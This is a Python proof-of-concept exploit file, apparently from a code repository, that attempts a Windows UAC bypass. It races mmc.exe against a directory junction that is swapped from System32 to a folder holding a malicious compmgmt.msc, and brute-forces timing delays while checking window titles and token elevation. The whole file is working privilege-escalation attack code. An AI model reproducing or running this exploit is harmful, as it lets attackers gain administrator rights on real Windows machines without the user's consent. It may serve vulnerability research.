85 lines
3.1 KiB
Python
85 lines
3.1 KiB
Python
import ctypes, os, subprocess, time, threading
|
|
|
|
k32 = ctypes.WinDLL('kernel32', use_last_error=True)
|
|
sh32 = ctypes.WinDLL('shell32', use_last_error=True)
|
|
adv = ctypes.WinDLL('advapi32', use_last_error=True)
|
|
u32 = ctypes.WinDLL('user32', use_last_error=True)
|
|
|
|
OUTFILE = r'c:\Users\lukas\Documents\PoC new\rolling\poc_brute_silent.txt'
|
|
_f = open(OUTFILE, 'w', encoding='utf-8')
|
|
def log(s): _f.write(s+'\n'); _f.flush()
|
|
|
|
class SEI(ctypes.Structure):
|
|
_fields_ = [('cbSize',ctypes.c_ulong),('fMask',ctypes.c_ulong),
|
|
('hwnd',ctypes.c_void_p),('lpVerb',ctypes.c_wchar_p),
|
|
('lpFile',ctypes.c_wchar_p),('lpParameters',ctypes.c_wchar_p),
|
|
('lpDirectory',ctypes.c_wchar_p),('nShow',ctypes.c_int),
|
|
('hInstApp',ctypes.c_void_p),('lpIDList',ctypes.c_void_p),
|
|
('lpClass',ctypes.c_wchar_p),('hkeyClass',ctypes.c_void_p),
|
|
('dwHotKey',ctypes.c_ulong),('hIcon',ctypes.c_void_p),
|
|
('hProcess',ctypes.c_void_p)]
|
|
|
|
JUNC = r'C:\ProgramData\JuncMSC'
|
|
SYS = r'C:\Windows\System32'
|
|
EVIL = r'C:\ProgramData\EvilMSC'
|
|
MARKER = 'BYPASS_CONFIRMED_7F3A9'
|
|
|
|
def junc(target):
|
|
subprocess.run(['rmdir', JUNC], shell=True, capture_output=True)
|
|
subprocess.run(f'mklink /J "{JUNC}" "{target}"', shell=True, capture_output=True)
|
|
|
|
def titles():
|
|
t = []
|
|
WNDENUMPROC = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_void_p, ctypes.c_void_p)
|
|
def cb(h, _):
|
|
b = ctypes.create_unicode_buffer(512)
|
|
u32.GetWindowTextW(h, b, 512)
|
|
if b.value: t.append(b.value)
|
|
return True
|
|
u32.EnumWindows(WNDENUMPROC(cb), 0)
|
|
return t
|
|
|
|
def try_delay(ms):
|
|
subprocess.run(['taskkill','/F','/IM','mmc.exe'], capture_output=True)
|
|
time.sleep(0.25)
|
|
junc(SYS)
|
|
|
|
sei = SEI(); sei.cbSize = ctypes.sizeof(sei); sei.fMask = 0x40
|
|
sei.lpFile = r'C:\Windows\System32\mmc.exe'
|
|
sei.lpParameters = f'"{JUNC}\\compmgmt.msc"'
|
|
sei.nShow = 0 # SW_HIDE
|
|
|
|
hp = [None]
|
|
def run(): sh32.ShellExecuteExW(ctypes.byref(sei)); hp[0] = sei.hProcess
|
|
t = threading.Thread(target=run, daemon=True)
|
|
t.start()
|
|
time.sleep(ms / 1000.0)
|
|
junc(EVIL)
|
|
t.join(timeout=8)
|
|
|
|
time.sleep(2.5)
|
|
found = any(MARKER in x for x in titles())
|
|
real = any('Computer Management' in x and MARKER not in x for x in titles())
|
|
elev = False
|
|
if hp[0]:
|
|
tok = ctypes.c_void_p(0)
|
|
adv.OpenProcessToken(hp[0], 0x8, ctypes.byref(tok))
|
|
if tok.value:
|
|
e = ctypes.c_ulong(0); r = ctypes.c_ulong(0)
|
|
adv.GetTokenInformation(tok, 20, ctypes.byref(e), 4, ctypes.byref(r))
|
|
elev = bool(e.value)
|
|
k32.CloseHandle(tok)
|
|
k32.CloseHandle(hp[0])
|
|
subprocess.run(['taskkill','/F','/IM','mmc.exe'], capture_output=True)
|
|
subprocess.run(['rmdir', JUNC], shell=True, capture_output=True)
|
|
verdict = 'EVIL' if found else ('REAL' if real else ('ELEV_NOWIN' if elev else 'REJECT'))
|
|
log(f'{ms}ms -> {verdict} elev={elev}')
|
|
return found
|
|
|
|
log(f'evil msc: {os.path.getsize(EVIL+chr(92)+"compmgmt.msc")} bytes marker={MARKER}')
|
|
for ms in range(50, 350, 5):
|
|
if try_delay(ms):
|
|
log(f'WIN @ {ms}ms')
|
|
break
|
|
log('done')
|
|
_f.close() |